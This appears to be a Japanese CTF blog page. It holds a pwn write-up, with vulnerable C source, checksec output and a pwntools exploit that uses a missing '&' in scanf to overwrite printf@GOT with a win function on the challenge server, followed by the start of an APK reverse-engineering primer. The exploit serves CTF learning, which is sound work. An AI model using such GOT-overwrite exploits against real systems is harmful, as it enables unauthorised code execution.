Index
...
void ask_room_number() {
long age;
printf("Input your room number> ");
scanf("%ld",age);
printf("Ok! I'll visit your room!");
}
void show_welcome() {
char name[0x20];
printf("Input your name> ");
fgets(name,sizeof(name),stdin);
printf("Welcome! %s",name);
}
int main(void) {
...
show_welcome();
ask_room_number();
return 0;
}
scanfのageに&が抜けている。
main関数ではshow_welcome→ask_room_numberの順で呼び出しており、 nameと同じスタック領域が使用される。
つまり、nameでスタック上にアドレスを書き込むことで 次の入力でそのアドレスをポインタとして扱い、任意のアドレスに書き込みが可能となる。
Canary : Disabled
NX : Enabled
PIE : Disabled (0x400000)
RELRO : Partial RELRO
Fortify : Not found
No PIE, partial RELROなので printf@GOT を win に上書きする。
from pwn import *
context.binary = elf = ELF("./chal", checksec=False)
io = remote("34.170.146.252", 17684)
printf_got = elf.got["printf"]
win = elf.symbols["win"]
name = b"A" * 24 + p64(printf_got)[:7]
io.sendafter(b"Input your name> ", name + b"\\n")
io.sendlineafter(b"Input your room number> ", str(win).encode())
io.sendline(b"cat flag*")
io.interactive()
作問回でした。普段の簡易writeupと違って丁寧に書きます。
今回はAPKのリバースエンジニアリング入門がテーマです。 APKはAndroid アプリの配布パッケージです。
Androidはスマートフォンに限らず、 組み込みAndroidとして家庭向けのタブレット端末や産業用機器に使われていたり、 自動車向けのナビOS(AAOS)として使われていたり、 MetaQuest(VRゴーグル)で使われるMeta Horizon OSのベースになっていたり、 意外と身近に溢れています。
今回はその中で動くアプリケーションの基礎について知る機会になればと思い作問しました。
APKの実態はzipファイルであり、アプリのコードや画像などのリソース、署名情報などを含みます。
基本的なビルドの流れは次の通りです。
Java/Kotlin →(コンパイル)→ .class →(D8など)→ .dex →(パッケージ)→ APK
ベースはJavaで書かれており、APKを解凍すればdexファイルが確認できます。 dexはAndroid初期ではDelvik VM上で動いていましたが、今ではART上で動いています。 どちらにせよ、dexを動かす点では変わらないので説明は省きます。 dexをJavaコードにデコンパイルできれば、解析は容易になります。 余談:JVMやDelvik, ARTのような言語系のVMは中間表現で解釈するのでCPUアーキに依存しないメリットがあります